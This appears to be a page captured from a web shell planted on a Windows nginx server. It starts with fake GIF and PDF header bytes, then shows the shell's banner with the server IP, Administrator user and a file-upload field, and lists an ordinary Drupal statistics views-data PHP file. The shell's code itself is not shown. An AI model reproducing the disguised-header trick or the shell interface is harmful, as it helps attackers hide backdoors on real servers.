GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/statistics/ |
Upload File : |
<?php /** * @file * Provide views data for statistics.module. */ /** * Implements hook_views_data(). */ function statistics_views_data() { $data['node_counter']['table']['group'] = t('Content statistics'); $data['node_counter']['table']['join'] = [ 'node_field_data' => [ 'left_field' => 'nid', 'field' => 'nid', ], ]; $data['node_counter']['totalcount'] = [ 'title' => t('Total views'), 'help' => t('The total number of times the node has been viewed.'), 'field' => [ 'id' => 'statistics_numeric', 'click sortable' => TRUE, ], 'filter' => [ 'id' => 'numeric', ], 'argument' => [ 'id' => 'numeric', ], 'sort' => [ 'id' => 'standard', ], ]; $data['node_counter']['daycount'] = [ 'title' => t('Views today'), 'help' => t('The total number of times the node has been viewed today.'), 'field' => [ 'id' => 'statistics_numeric', 'click sortable' => TRUE, ], 'filter' => [ 'id' => 'numeric', ], 'argument' => [ 'id' => 'numeric', ], 'sort' => [ 'id' => 'standard', ], ]; $data['node_counter']['timestamp'] = [ 'title' => t('Most recent view'), 'help' => t('The most recent time the node has been viewed.'), 'field' => [ 'id' => 'node_counter_timestamp', 'click sortable' => TRUE, ], 'filter' => [ 'id' => 'date', ], 'argument' => [ 'id' => 'date', ], 'sort' => [ 'id' => 'standard', ], ]; return $data; }